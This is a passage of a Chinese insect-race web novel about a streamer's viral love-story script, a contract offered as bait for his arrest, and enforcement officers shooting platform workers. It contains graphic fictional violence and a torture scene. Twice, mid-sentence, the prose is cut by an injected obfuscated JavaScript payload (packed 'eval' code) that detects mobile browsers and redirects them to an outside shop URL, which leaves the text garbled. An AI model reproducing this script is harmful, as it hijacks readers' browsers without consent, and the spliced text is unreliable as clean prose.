排行榜其余前九名，顿时震怒！霎时间上百艘超级舰划过，一虫喷一句。 【@卡利你**闭嘴！少**用那套打油酸诗忽悠虫！】打赏：十艘超级舰 他们又@主播，【还不赶紧给老子删了这段！】打赏：又十艘超级舰 7. 签约风波 这波新观虫普遍刚进直播间30-40分钟不等。 Felix超管的表情肃穆，眉头锁紧能夹死一只苍蝇，放在办公桌上的右指狂按鼠标删除不和谐言论净网。 他的左手蜷起撑在口鼻处，全神贯注地盯着后台数据一刻也不敢放松，才理顺了@巡演爆火的始末： 今天，万厄索授勋仪式的直播落幕过后，大多数没有娱乐习惯的雌虫看完新晋元帅庆典直接退出网站该干啥干啥； 少部分留下来，流量尽管锐减，然而余热哪怕只剩今夜总数的1/5，也依旧在两千万左右浮动。 最开始谁都没注意到@巡演。 留在Felix平台里的观虫们充其量也只是继续在首页推荐榜单里面瞎逛。 他们的手指滑动，一目十行地乱刷点进其它直播间，主要就图看个新奇。 结果，观虫们很快就腻味。 什么雌傲天秀肌肉炸星球，开局歼星炮？ 那都是别的平台玩腻的题材！ 你不说随便在隔壁勃艮第的超规模娱乐APP【视觉动脉】一搜，关联结果页数没有破亿，也起码上百万。 60%的新观虫到这就拇指一划，退软件了； 偶然有脾气耐心好点的虫，几顿星网快餐吃下肚，很快也失去兴趣，变得兴趣缺缺，看什么都索然无味，打着哈欠快要退出。 直到他们中更少的部分，在不起眼的Felix自然榜的首页字推的最底下，发现@巡演。 嘿，你还真别说，题目还挺猎奇的。 等他们点进去，对着智脑刷了几星时刷得有些涣散放大的瞳孔重新聚焦，瞧清@巡演的直播间标签tag居然是「爱情/情感」，不约而同、无一例外地战术后仰： 【操！Felix超管是死了吗？烂tag糊脸也不管管？！】 【屎的流量你也要吃……好哇，好哇，Felix你**是真饿了。】 【虫生头一回看见「爱情/情感」这样的下三滥专题上首页！】 没错，@巡演发布的爱情电影剧本，不管在哪个站都上不得台面。 如今「爱情/情感」tag却是遮都不遮一下，在Felix的首页，明晃晃地摆着。 不少毫无防备的过路虫一点开就被爱情主题内容糊了一脸，士可忍孰不可忍！ 【操(你**的爱情电影剧本，下三滥的垃圾玩意儿什么时候给老子彻底滚出星网？】 【啥？F级废物雌饿到要死，摇身一变虫生赢家？这煞笔真敢想！】 激愤的大众再一看，【天呐但是这剧本里面的雄子阁下也太有魅力了吧——】 20w+被淡金色雄子阁下吸引了眼球无法自拔的过路雌虫顺着@巡演随着水涨船高一路飙升的字推排行榜涌入直播间。 点进去就看见主播的简笔画杂草头像在虚拟屏左上角顺时针慢转，有如黑胶唱片正在优雅地、慢慢播放着主流的那种，轻柔悠扬如婴儿摇床旁边的歌曲…… 风格却与之天差地别。 简单来讲，那听起来，就好比是琴凳上坐了个充满艺术细菌的疯子，还不幸地正好瞎了眼。 那演奏风格在他们眼中简直一塌糊涂，像外面暴雨倾泻，一顿乱砸！ 毫无防备的观虫登即被吓了第二跳。 他们控制不住地滋哇乱叫，【卧槽这什么神金音乐！瞌睡都给老子吓醒了！】 【啧啧啧，波澜起伏的曲风，一听就知道主播绝壁没成功约会过雄虫！】 【就是啊……害，看在主播可怜的份上，我就勉为其难告诉你吧。现在连刚破壳的雌虫幼崽都知道，雄虫阁下们最讨厌主播你这样乱弹的激昂起伏的音乐了。】 【可不是嘛！我前两天在黑市花一千万竞拍到的求偶经验手册里也有强调，因为太过高频的乐器声音跟雌虫翼翅振鸣的频率太过相近，都会被雄虫阁下厌恶。】 【？】 【学到了，谢谢刚才的那位兄弟。】 【卧槽！老子没有跟你分享经验书的意思！@超管，评论弹幕怎么撤回？！】 现在乐曲已经悄然播到了中端。 直播间里，路寻衍事先录好的BGM奏鸣曲激越高昂、如雷贯耳，意境跟主流的明媚轻快迥然不同，时而低沉干涩，时而阴暗诙谐，如同月光被困一隅破败的圣境。 听惯了悠扬舒缓BGM的全体观虫差点当场僵化表演一个原地去世！ 那些刷智脑习惯开静音的另一波观虫暂逃一劫，但也好不到哪儿去。 他们大多数，连@巡演写了啥剧本都来不及看清，就被两位神壕和满屏开炸的特效惊得触须起立，下意识爆出了粗口： “卧槽！你们**抢着花钱吃屎啊？又不是啥大事，至于争个剧本吵成这样？” 等他们拖动屏幕，看清路寻衍撰写的剧本标题和内容，就迅速分化： 事业派纷纷主动在自己的ID左侧，都加上了榜二的名称作为前缀，狂刷礼物。 @巡演直播间榜三到榜十瞬间被清一色的【就爱看贵族老爷们跳脚！】霸榜。 恋爱派势弱，赞助力排行前十的虫暂时只有榜一【卡利】一位。 最后是散户游客，这部分群体占比最多。 他们原本只是在单纯地吃瓜，围观@巡演直播间里的大煞笔拉帮结派对战二楞子。 结果，看久了不小心被屏幕上此起彼伏的赞助特效和两派ID疯狂的对刷刺激得手指发痒，间歇性点击一到一百点鲜花不等的子弹头、火箭、侦察热气球等图标。 林林总总，「爱情/情感」专题在后台统计的赞助数据破了1千，破了5万，破了70万，也不知道能不能破百万…… 最后，不知是谁的惊呼如同夜空中的一道霹雳，打破了Felix办公室的寂静。 “爆了，爆了！” 白领虫们齐声欢呼，巴不得马上开香槟庆祝。超管也跟着一起手舞足蹈着。 所有虫都化身范进中举，比自己初出校园、刚入职场挣到第一桶金还要激动。 今夜之前，谁人敢想？曝光小到近似于无的未签约主播，竟然跻身首页榜单。 那可是众多签约主播拿了平台流量扶持获得更多观虫打赏同台竞争的地方！ 像@巡演这样标新立异的主播，他们原本认为，跟千千万万个想用烂题材博眼球找骂黑红出道的猎奇主播没什么不同。 届时开播就知道钱难挣屎难吃，在首页挂三分钟昙花一现石沉大海才是常态。 而现在呢？Felix办公室的全体虫员亲眼目睹并见证，@巡演的可到账星币飙升至百万，带动平台分成增长超越50%，直逼25年前的单虫主播一星时鼎盛巅峰期！ 难道，Felix真的能浴火重生吗？！ 不少白领虫情不自禁站起身崩飞了身后带腰椎坐姿矫正器的电脑椅，欢呼： “快！快给主管打通讯，跪下来求也要说动他。这个@巡演咱们一定要签！” 更有虫直接喜极而泣：“啊啊啊大伙儿下半年的绩效奖金可就全指着他了！” …… 怀因仰着头，觉得自己真是遭老罪。 穷乡僻壤又臭又寒碜，办公楼是租的。 整整350层、近万名员工出行仅靠同一台楼层穿梭机勉力支撑！ 厢体基本上时刻都在快速地上下，电梯的曳引钢丝都要滋出火星。 它按照精确到秒的时间表严格运行，要想使用，必须刷卡提前预约。 他跟着卢施到达底楼时，当天的时间表已经完全排满了。 旁边的有些虫没约上，在公开场所展翅飞上去又会被视作不文明，只能自认倒霉、徒步走上去。 但他们可不想爬楼梯。 所以，卢施带着他来到楼层穿梭机门口，直接插队了。 趁排队的员工不注意，从他们兜里顺走了两张预约卡，装作是自己的，挂在脖子上，抬脚想跟着一起踱进电梯。 “哎哎哎——你们是临时到的吧？没有预约就滚去走楼梯！” 被挤开的两个员工当场吆喝，抓住卢施的后衣领试图阻止他们。 有虫辨出他们是高等种，面露鄙夷，抱胸歪嘴站在旁边上下打量： “嘁，高等种就能不排队？” 话语间，还有许多站在电梯里面的虫使劲推他的手臂，要他出去。 怀因脚步踉跄，脸上写满为难。 自己是跟着领导一块进来的，卢施没动，他就不能动。 但又自知插队理亏，所以怀因的眼神躲闪，埋头不说话。 一旁的卢施也没有开口，但表情显然不像怀因这么局促。他镇定自若，早已对这种棘手的突发事件习以为常。 卢施百无聊赖般地耸了耸肩，然后两指夹起自己脖子上挂着的预约卡，视线下垂，满不在乎般地看了眼手上抢来的工作牌上画的头像，在虫群中扫视一圈。 确认无误后，他慢条斯理地单手解开了上衣的口袋，在里面翻找起什么。 怀因不知道领导这是何意，只好自己先行尝试解决。 他按照管培生考试中的应急处置措施出声安抚群众，请大家安静，表明他们是雄保会办案，还望诸位多多包涵。 不料，欲益反损，泼油救火。群众破口大骂：“日你仙人哩！我逗说是哪个楞没得素质，原来是雄保会的这帮龟孙儿哦！” 他们骂得更凶了，推搡也更加剧烈。 怀因感觉自己的背都被这些虫给打青了，脸上也泼溅棕黄的咖啡残液。 带有刺鼻辛辣气味的冰凉液体顺着他的脸颊流下，怀因撑着电梯门，眼里倒映着成千上万张对着他扭曲愤怒的脸庞，头一次在内心感到迷茫。 ——他在想，“雄保会”分明是光荣的三个字。 自己备考时，身边所有虫都是这样告诉他的。 雌虫应该像瞻仰雄虫那样敬畏他，现在却不尽如此。 ——他还在想，为什么自己在考试拿满分的东西，实际全都用不上了呢？ 怀因求助般的频频回望，希望带教领导能教他办法。 只见，卢施气定神闲。 这会子分明都火烧眉毛了，他的领导居然还搁那优哉游哉地杵那儿看手里刚才抢来的工作牌，徒留自己在这儿等得干着急。 一个不留神，他就被电梯里的其他虫推到踉踉跄跄，来到电梯的边缘。 怀因朝外一趔趄，连忙两手往外张到最开，紧紧地扒住了电梯门框，才不至于被那些贱种你一下我一下彻底推出去。 电梯外面。 两个高等种的沉默助长了周围中低等种的气焰，纷纷起哄附和。 “真不要脸！” 有虫把手里喝完的咖啡杯砸到他们身上和脸上，趁机发泄情绪。 “平日你们躺在高等宜居星上垄断了星际航道的使用权大肆敛财我们都憋到起，现在下来竟然还这么不要脸，抢别虫的牌子，有本事你们自己预约啊！” “就是，就是！电梯没有能给你们的空位了！” 反抗声愈演愈烈。 怀因僵住不敢动，一动就浑身直打哆嗦。 初出茅庐的他虫生头一回见到这么惊天动地的阵仗，吓得心慌慌、须抖抖，颤抖着小声跟领导请示退让： “卢前辈，要不咱们就……” “砰——！”卢施从上衣口袋里取出一支手枪，伸臂，在其中一只起哄的低等种的额心正中央开出个血瓢。子弹穿透颅骨，带着一遛弧线状的鲜红划落半空，“叮啷”掉在地上。 顿时，所有虫倒抽一口凉气。 现在穿梭电梯门口鸦雀无声。 怀因瞪大了眼睛，不可置信。他触须发直，身体绷紧彻底僵在原地。 在他紧张的注视中，卢施转过头来扫了他一眼，嘲笑菜鸡似的“哼”了一声。 短促鼻息喷吐在他脸庞，怀因不由得虚起一只眼睛，模糊的视线里，卢施皮笑肉不笑地朝他胸口正中心缓缓伸出了一根手指…… 怀因当即一哆嗦一闭眼，屁股一撅站出最标准的军姿，完全不敢动，生怕下一秒跟着一起被领导给崩了。 良久，他没有感到被枪击骤然爆发的那种疼痛，于是在一片黑暗当中，掂量着应该是卢施的武力镇压结束了，这才小心翼翼地睁开一只左眼查看情况。 却见卢施的视线下移，随手挑起了他挂在脖子上的、方才他跟着一块抢来的另一枚工作牌。他看了两秒，突然转身再开了一枪，击毙第二只工作虫。 “砰——！” 枪声响起，近在咫尺。怀因也应激一抖，在第二具尸体倒下的同时，直挺挺地朝后倒了去，“砰——！”的一声，严丝合缝地贴在电梯门框，两手颤抖地朝后摸索半天缓不过劲来。 他的内心过于震撼。 虽然依照法律，他们替代雄虫行走在浩瀚的云端之下，所以能够对雌虫代行雄虫权力，处决扰乱秩序的雌虫……但，最开始扰乱秩序的雌虫，分明是瞎几把插队的他们啊！ 怀因飞速思考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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为首者073，身着制服并非普通布料，而用与权庭官员衣物同产地的白焰丝织成，制服的整体底色是那种一看就高贵的冰蓝，领口反射盘根交错的暗银纹路。 一枚八音盒一样的立体磁吸徽章悬在特级稽查员073的左胸，在他踏入办公室的瞬间自动无声漂浮起来，朝四周360度投射淡蓝色的扫描光线。 顿时，办公室所有仪器的设备控制权都被外勤稽查夺去。 巴尼多主管双腿发软险些下跪。雄保会怎么来得这么快？！ 他艰难地低头撑在被劈烂的半边办公桌上，手心巨疼也不敢表露，勉强维持体面。 “长、长官您听我解释！” 他是个D级的中低等种，脸上基因缺陷明显，肥肉剧烈抽搐，挤出一个比哭还难看的谄媚笑容，声音抖得不成样子，“其实我们正全力追查那个@巡演！他、他绝对有问题，给我们一百个胆儿，我们也不敢包庇他的呀。” “哦？” 怀因，也就是073，闻言故意把搭在板机上的手指往里按下去了一点。 “长、长长官！有事好商量！我们平台200%绝对配合！” 巴尼多主管汗流浃背地连连保证。 怀因首次出师就告捷，信心大增。 他昂首夹了夹腋下的公文包，按照里面早在入职前就被他翻烂的雄保会《管培生训练手册》执行下一步动作—— 这时候，稽查外勤应当冷脸，保持沉默，施予被审虫精神压力。 ……怎、怎么不说话了？ 巴尼多主管等半天没等到下文，颤颤巍巍抬起右边绿豆眼去瞄073在干嘛。 他竭力地瞄，瞄不到就把下巴扬高继续瞄，直至他终于看见073视线穿过自己的肩膀，遥远地落在后台跳动的、金光闪闪的200w流水数据上。 他立刻狗腿地连滚带爬跑到电脑显示屏旁边，唾沫横飞： “长官！是阿斯克的第七军团！他们在非法洗钱集资，证据确凿！我们正准备封……” 巴尼多主管说着说着就突然噤声，因为他看见073朝他伸出一根手指。 “封？封什么封？”怀因握着枪，走向超管那台显示200w流水数据的后端电脑，张开五指，指腹隔着手套一齐轻轻扫过那金光璀璨的屏幕。 “给@巡演发消息。”怀因无师自通抬了抬眼皮，把枪口抵在超管的下巴上。 被梆硬的冰凉枪管戳着，分频超管吓得直哆嗦，不断嘶气，头顶的虫须六神无主地乱挥，下意识想向主管求救。 巴尼多主管收到讯号但是见死不救，朝他挤眉弄眼，示意他在高等种面前最好还是老实安分点，别给自己惹麻烦！ 分频超管一瞬间想哭，连他们老大都化作一吹就倒的垂杨柳，不中用了，他就更加虚得没边，握着鼠标的手沁出大片冷汗，指腹打滑，硬点了好几下才打开与@巡演的私聊界面。 “给、给@巡演发什么……”他嗫嚅。 怀因又冷笑一声，昂起下巴，虫须服贴地趴在头发里，显示不屑。他把枪口怼在分频超管打字的办公桌旁边撑着半边身体，自信启唇，“就发……” 叮咚！ 【平台提醒：你有一条来自超管的重要消息。】 超管红ID消息弹出的时候，路寻衍背对着直播光屏，正在给瑞奇等一遛第七军团军雌免费加送昏睡套餐。 室内回响着此起彼伏的邦邦声。 当路寻衍转过身来，轻喘着气，一边清理颊边薄汗，一边望向直播光屏的时候，超管红ID消息已经发到第五条，显然是非常着急。 什么事啊？路寻衍疑惑。 不疑惑不行，那边雄保会都找上门来了，他们怎么还有心情跟他发消息呢？ 路寻衍首先排除Felix是想借未签约主播搬救兵的猜测，手里掂着榔头，姑且观察他们想做什么。 超管还在继续给他发消息，[我必须再次强调咱们能提供给您的福利。] [这在Felix史无前例，是平台看好您的ip潜力，专门为您开辟的特殊优待。] [亲爱的@巡演先生，如果您同意合作，平台愿尽200%的努力辅佐您一步成神。] [所有分成您九，平台一，签约合同无限期，没有违约赔偿金，想什么时候终止都可以。] [亲爱的@巡演先生，所以您考虑跟咱们平台签约吗？] 8. 一坑巡演 无事献殷勤，非奸即盗！路寻衍几乎在下一秒就反应过来，平台此举有诈。 他单手把玩着榔头，在掌心不轻不重地掂了掂，心哂想搞他？ 路，无非就两条。 要么选原始点的，在合同里使劲挖坑。 要么选星际点的，顺着网线爬过来，直接攻击他的意识海。 前者好说，把漏洞全圈出来要求整改便成。 后者就麻烦些了。 必须在意识海中，用精神力提前布置好防御，做好万全的遇袭准备才行。 路寻衍用鼻腔往肺腑里深吸了一口气，垂下眼眸，集中注意力尝试进入意识海。 渐渐的，他感到像有水在自己的眼睛里冻结，冰凉一片。 原本清润的淡紫色眼瞳在他彻底专注的瞬间“凝固”，瞳膜变得愈加的不透明，如有幕布覆盖，颜色是平静的深紫，被逐渐合拢的眼皮遮盖。 闭目凝神，整个世界仿佛瞬间变得沉寂。 天空是纯粹的灰调白。 他踏上一片无我之境，水面如镜，偶尔才会泛起一丝涟漪。 极目远眺勉强能望到这片空间的边缘，直径约莫五百米。 这应该就是所谓的意识海，倒是并非如他所想的那样极其不稳定。 路寻衍稍微放下心来，开始尝试调动精神力。 在失败几次后，终于成功在意识海外围艰难地构筑起一层又一层透明的屏障。 这还不算完。 路寻衍谨小慎微，用剩余的精神力预演了一轮攻击。 测试了几轮，确认防御没问题，他才缓缓地退出意识海。 再睁眼时，覆盖瞳膜的那层深紫色的哑光细绒消失。 身上黏黏的不舒服，路寻衍随意动了动胳膊，发现浑身竟已被薄汗浸透。 他抬起左边的那只遮蔽了大半截手指的袖口，擦去停留在眼皮上、影响自己视线的汗珠，边揩边思忖。 现在，所有力所能及的准备都已经做好。 提前布置防御，又有老师当底牌。 如果风波来临，他这样都不幸暴毙了…… 那原因只可能有一个。 原著剧情发力，强行让他这个S级炮灰下线领便当了！ 然而，路寻衍挥了挥榔头，神色笃定，再怎么也不会是现在。 因为真正要他命的原著男主，还没登场呢。 所以…… 一个被钦定死在男主手里的炮灰，横竖不可能栽在平台这种小角色身上！ 路寻衍紧锁的眉头舒展，头部也随之轻微左右摆动。 或许，作为S级炮灰，自己在对抗的过程中，不可避免会受伤。 但他绝不可能因此丧命！ 这就够了。 路寻衍眯起眼睛，心情舒畅地轻声哼起不成调的小曲。 当陷阱对他来讲不再致命，里面的诱饵，便彻底沦为一个全无威胁力的香饽饽。 ——Felix啊Felix，现在来找我签约？ 那还真是…… 瞌睡来了递枕头！ 路寻衍盯着光屏，嘴角含笑，差点就想问，你怎么知道我十分钟之前才跟勃艮第集团谈崩了？ 那时候，勃艮第只肯给他四六分。 现在，一个独占鳌头、稳拿九成的机会就摆在面前。 错过这村，可就没这店了！ 路寻衍想不到任何拒绝的理由。 叮咚！ 一条新消息发到智脑上。 他轻抬手腕，里面的内容自动悬浮在空中，播放。 [老师：阁下，现在您是否方便接通视频电话？] 路寻衍微微蹙眉。 老师这时候要跟他打视频，是什么意思……？ 他带着疑问，默默回想起，上次老师临走前发送的最后一句话，[我会把全过程转播给您，阁下。]这才心下了然。 哦，当然可以。 他想，但自己这边绝对不能打开摄像头，否则会暴露。 一旦暴露，带来的坏处大于好处。 好处是，老师100%直接帮他解决瑞奇这个便宜小舅子。 哎。 但恐怕也就这一个好处了。 路寻衍甩甩榔头叹口气，本来就苍白的脸色更显憔悴。 他现在了解到，比没有挂更惨的，是有挂而不能随便乱开！ 原因无它。 若是自己主动把这事捅出去，引来不必要的关注，坏处简直数不胜数。 就例如，那位比瑞奇聪明百倍、权势大上万倍的“老师”，此后必将高度关注他。 谁叫全虫族唯一的S级阁下在温室里长大，吵着要自立门户，不许权庭派任何戍守的宪兵虫接近，结了婚却混成这副狗样？ 真叫虫不放心。 还是派出宪兵，二十四小时盯着他好了…… ……好？ 一点都不好。那自己可就彻底遭殃了！ 若是跟个犯人似的，从早到晚被上面那些大佬紧盯，他这个冒牌货迟早露馅。 那结局，拉出去砍头枪毙都算轻的。 重则用科技把他的意识抽出来反复折磨，永世不得超生。 想要避免，又双叒只能靠他疯狂飙演技，忽悠蒙混过关。 ——但这绝对是下下策。 路寻衍摇摇头。 毕竟，忽悠一个年长的权贵可比忽悠一个愣头青难了不止成千上万倍！ 所以，他没必要凭空给自己增加游戏难度，换掉小王去打大王，纯属没事找事。 路寻衍转转眼珠，干脆就向老师隐瞒黑蜂第十星上具体发生了什么。 打定主意，他抬起手，屏幕上的@巡演状态窗变成正在输入的六个跳动的小点。 [@巡演：……] 当然可以，但…… 路寻衍还没输完，或许是等得有些久了，老师又发来一条消息。 待他看完，额间簇起的眉心反倒骤然舒开。 [老师：是我唐突了，阁下。] [老师：并非要求您和我视频对话，主要是想给您转播之前承诺的全过程。 您若想看，便接通，不开摄像头也是可以的。] 路寻衍读完，眉眼弯弯。 原来，老师以为他停顿，是由于觉得这个请求唐突，从而感到了不快。 在客客气气地道歉过后，老师还主动提出了他不用开摄像头。 倒省了路寻衍琢磨怎么合理提出这码事，完美解去他的后顾之忧。 [@巡演：好啊。] 路寻衍发送了肯定的答复。 在得到同意之后，一个视频通话请求呼入。 路寻衍看着预览界面，毫不犹豫叉掉摄像头按钮，这才从容点击接通。 叮—— 画面传来。 一个略显凌乱的白色大办公室出现在他眼前。 里面挤了约莫二三十个虫，其中四个正背对着他，俯身单手撑在一个60英寸电脑曲面屏前，聚精会神盯着屏幕。 中间那个年轻小伙，正在手忙脚乱地输入着什么。 小伙的右边，是一只谢顶中年虫，身穿和小伙相似的办公室制服。 小伙的左边，一近一远站了两个神色傲慢的狠角儿，衣装讲究又时尚。 其中的一个，甚至单手持枪，枪口就怼在小伙的办公桌上。 这明显是两波人。 路寻衍心想。 左边那波拽得跟二五八万似的，一看就是要来逮捕他的雄保会外勤。 他询问了老师，很快便得知在场所有虫的名字。 这时，转播画面中的谢顶中年虫，巴尼多主管，动了。 他听那个叫怀因的稽查员说到“分成”时突然停顿，然后朝前微微俯身，亲手在键盘上按下一个数字，看反应，心里好奇得像有爪子在挠，于是歪嘴虚眼，拼命想看清屏幕上的数字。 当他看清的刹那，整只虫差点当场弹跳起来！ 路寻衍将他所有的反应尽收眼底，觉得有些好笑。 这位主管，眼睁睁看着即将落入自己口袋的星币骤然被削，却无能为力。 这滋味，恐怕比从他身上割肉还疼吧！ 似是在印证他的猜想，转播画面里的中年虫，绝望地闭上了双眼。 路寻衍伸出指尖，轻轻戳了戳光屏里那只垂头丧气的雌虫。 叮咚！ 老师的消息适时传来： [阁下，他们伙同Felix分公司设下陷阱，意在骗您签约后，实施抓捕。] [……需要我替您阻止他们吗？] 昏暗阴仄的房间里，路寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609382|187600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衍眯起了眼睛。 他掂了掂手中冰冷的榔头，饶有趣味地回头望向自己的直播间屏幕。 然后，他不紧不慢地打下答复。 [不需要。] 自己现在万事俱备，只欠东风！ 算算时间，路寻衍琢磨着，那份带毒的签约合同，也该发过来了。 他抬起步子，轻巧地跨过地上三排杂乱的条形码，再次路过那面落地镜。 布满裂纹的镜子里，身形颀长的银发雄虫刚给躺地上的瑞奇结束了一场免费加钟服务，鼻息稍有些紊乱。 他张开被血染得殷红的唇瓣，胸口轻微起伏，湿漉碎发搭在额角，回眸来看光屏时的眼尾微微泛红。雾气在他浅淡的虹膜表面升腾，状似脆弱迷离，手中却握一柄榔头，锤面鲜红，血珠滴滴答答的洒落，嵌进满地深厚的积灰里。 答……滴答…… 镜子里的雄虫不紧不慢地继续走，悬在半空中的榔头小幅度晃动。 慢悠悠地返回治疗舱边，脚尖抵在箱体的底部，手指轻点智脑光屏。 与此同时，他无声地抬眸。光屏小窗里，是老师转播的实时画面。 不出所料。 Felix分公司所有虫，都不约而同地屏住呼吸，死死盯着屏幕，等待@巡演一句回复。 路寻衍这才切换，点进他和Felix平台的聊天框。 输入状态，再次变成那依次跳动的六个点。 [@巡演：……] 路寻衍输入着，看着Felix办公室一干虫，笑得意味深长。 他们亲眼所见@巡演的头像在后台亮起，一条条未读聊天消息的状态由上往下变成已读，整颗心都高高悬起。 ……别签别签别签别签别签别签别签别签！ 巴尼多主管冷汗涔涔。 他双掌合十贴上脑门，祈祷@巡演不会一时财迷心窍被钱冲昏头脑。 叮咚！ @巡演回消息了，Felix平台所有虫都不自觉深抽口气，眯起眼睛不敢看。 倒是怀因一直睁着眼，见到@巡演的回复，率先冷笑一声。 巴尼多主管瞬间从头紧绷到脚！ 他想看又不敢看，纠结挣扎好半天才下定决心，颤颤巍巍睁开眼…… 一看就吓一大跳！ [@巡演：好啊。] …… 办公室全员齐齐一怔。 “啊啊啊啊啊他怎么答应了？”在场除雄保会稽查之外的所有虫顿时一片鬼哭狼嚎捶胸顿足。 巴尼多主管也被此时大家的情绪感染，不禁老泪纵横，边抽噎，边在心底感慨。 果然，这世界上就没有任何虫，能够逃出雄保会的手掌心！ 签约，只是个诱饵。 那份看似优渥到愚蠢的合约被抛出来，就是为了避免目标警觉。 毕竟，过去许多涉事雌虫雇佣黑客，在被追查IP地址时负隅顽抗，极大损耗雄保会的人力物力。 现在，他们学聪明了。 或者说，更卑劣了。仗势欺虫，将所有风险和成本，都蛮横地转嫁到了平台身上！ 他们精准抓住像@巡演那样的底层雌虫渴望一步登天的野心，用泼天富贵作为诱饵，请君入瓮。 等鱼上钩，签约，见面……然后就是一张天罗地网，直接合围，快刀斩乱麻！ 这招，阴险至极，却也屡试不爽。 因为，绝对，绝对没有任何一只雌虫，能拒绝这种递到嘴边的富贵！ @巡演的行为，也证明这一点。 现在那个乡巴佬……呵。巴尼多在心底吐口水，已经同意签约，平台就必须疯狂投入资源去强推他。 宣发、虫员关系维护、直播星际加速和媒体带宽费用……哪一样不是在烧钱？ 可雄保会的目的根本不是让他火，而是让他死！ 之后，赃款尽数充公。 平台不仅无法从@巡演身上捞到半点油水，甚至连合同上约定好的那一成的利润都拿不回来，就要眼睁睁看着他被逮捕，所有的投入血本无归。 这要让大老板知道，不把他的皮剥下来才怪！ 巴尼多主管的眼前一黑又一黑，深抽着气闭上双眼，只得在心中泪奔。 完了，这下全完了，@巡演死定了，还要拉着他的职业生涯一起陪葬！ 9. 死亡威胁 星网的另一边，路寻衍面色如常，目视正前方。 淡紫色的虹膜里，静静倒映着光屏里那些或惊恐、或暗喜的身影。 当巴尼多主管疯狂脑补时，怀因播出了一个电话。 通讯是用脑电波传输的，因此他听不到具体的内容。 但，看那眉飞色舞的神情就能猜个七七八八，是觉得@巡演同意签约，逮捕任务就妥了，准备提前联络接手的部门，到时候直接下班。 “那就抱歉了。”路寻衍的指尖在光屏上轻点，给老师发去新的消息。 [@巡演：待会不管他们做什么，让它失效。] 那个黑色的钢笔头像秒回[收到。] 随即下线变灰。 现在，好戏开场了。 爱财之心和爱材之心一同熄掉的巴尼多主管垂头，正要麻木地走开，就听旁边刚才一直在静音通话的073突然间喊出了声来。 “你说什么？囚星不能把@巡演关进去？ 为什么！” …… 是啊为什么？巴尼多主管猛地停下脚步，竖起耳朵想继续偷听。 一旁抱着手臂观察事况的卢施也发现事情的走向不对。 他在心底叹了声菜鸡果然还是太嫩，大步流星朝头顶触须绷得比天线还高的后辈走过去。 怀因手里一松，扭头发现领导接过通讯器救场，暗自窃喜，这把稳赢了。 然而下一秒他就听到自己的自信心被打碎的声音。 “砰！” 说了没一会的卢施忿忿抬臂，沉着脸朝虚空开出一枪！ 瞬间，办公室里除怀因之外的全体虫员立马抱头下蹲，有的躲在电脑桌下面，冒出半个头来，怯生生盯着卢施。 “废物……” 卢施从牙缝里挤出这两个字，捏着通讯器的手指关节因过度用力而暴凸发白。 他想不通，一个平日里需要雄保会关照才能完成月度收监雌虫KPI勉强保住官位的典狱长，怎敢硬抗他的要求？ 只要提及收监@巡演的事，对面就开始插科打诨，死活不肯松口。 这已不单是拒绝，更像一记耳光扇在他脸上！ 这个老不死的狗东西…… 卢施气得直发抖。 他强压开出第二枪的冲动，维持高等种的最后一丝体面，对着通讯器的收音孔低吼： “……在24星时之内接收罪犯是你们的职责！” 末了，他习惯性加一句威胁，“这是雄保会的要求！” “噗。”路寻衍听了都忍不住笑。 但凡卢施今天出门带了脑子，都不至于说出这种话来贻笑大方——什么时候轮到你一个外勤跑腿的，来使唤监狱长了？ 果然。 通讯器那头的典狱长听完直接把他的威胁当放屁，根本不为所动，回击： “尊敬的016号外勤稽查员，我理解您抓捕@巡演十万火急。 但或许您应该知道，我们是平级机构，雄保会不能要求囚星？ 您这样说会让我感到很困扰，请您专业一点。” …… 卢施的脸色瞬间变得比锅底还黑。 一旁鬼鬼祟祟没听清对话的巴尼多主管看稽查专员暴怒的样子，心中只剩一片悲凉。 完了，那个叫@巡演的主播彻底完了。 这就是草根雌虫太过惹眼的宿命。 没错。 @巡演很遗憾的，是一条草根，而不是哪家权贵家族的玩咖小少爷。 巴尼多主管瞥了眼腕上智脑，里面是超管在他赶往的办公室路上发来的@巡演的个虫信息，显示其名温莎·贝尔。 成年初期，基因是最劣的F级，长相一言难尽。 干瘦的双颊生满雀斑，脸上挂着两个黑眼圈。 金发干枯、双目无神，外貌普通到让虫看一眼就会忘。 上传给平台验证ID的头像旁边，没有激光镌刻的权庭阁下镭射印章图案。 ——代表他并非雄虫的婚生子。 而由其早已战死的上尉雌父攒够功勋，兑换中等雄虫的冻精所出。 无权无势。 像@巡演这样的虫，最是可悲。 身上有点才华，却没有保护伞，总因为前期发展藏不住锋芒招记恨早夭。 巴尼多主管心中难免升腾起几分兔死狐悲的伤感，这么个硬实力出众的摇钱树主播，可惜平台也无力保他。 脑海里已经开始不受控制地描绘@巡演的悲惨结局： 那个主播会被关进囚星监狱阴暗潮湿的单间，头顶一盏惨白的光源照在他遍布雀斑、写满惊恐的脸上。他会因为非法娱乐阁下罪而受刑，枯槁的金发贴在汗湿的额角，黑眼圈深得像淤青，脸色一片死灰。 他好像，还是个亚雌吧。沉重的管制颈环将会“咔哒”一声锁死在他低垂着的、纤细的脖子上，冰冷的触感刺入骨髓。他能清晰地感受到颈环内侧紧贴后颈腺体的电极薄片，每次呼吸，上面的金属倒刺都会一遍遍随之在他白皙脆弱的皮肤上反复留下一道道深可见骨的血痕。他可能会因此小幅度挣扎，双手被绑倒在椅子上急促的呼吸，眼球几乎要凸出眼眶瞪着狱警的样子看起来像要反抗。 如果狱警觉得他不老实，就会按下手中按钮，悍在他脖子上的管制颈环内部将在瞬间爆发出惊天动地的滋滋声。 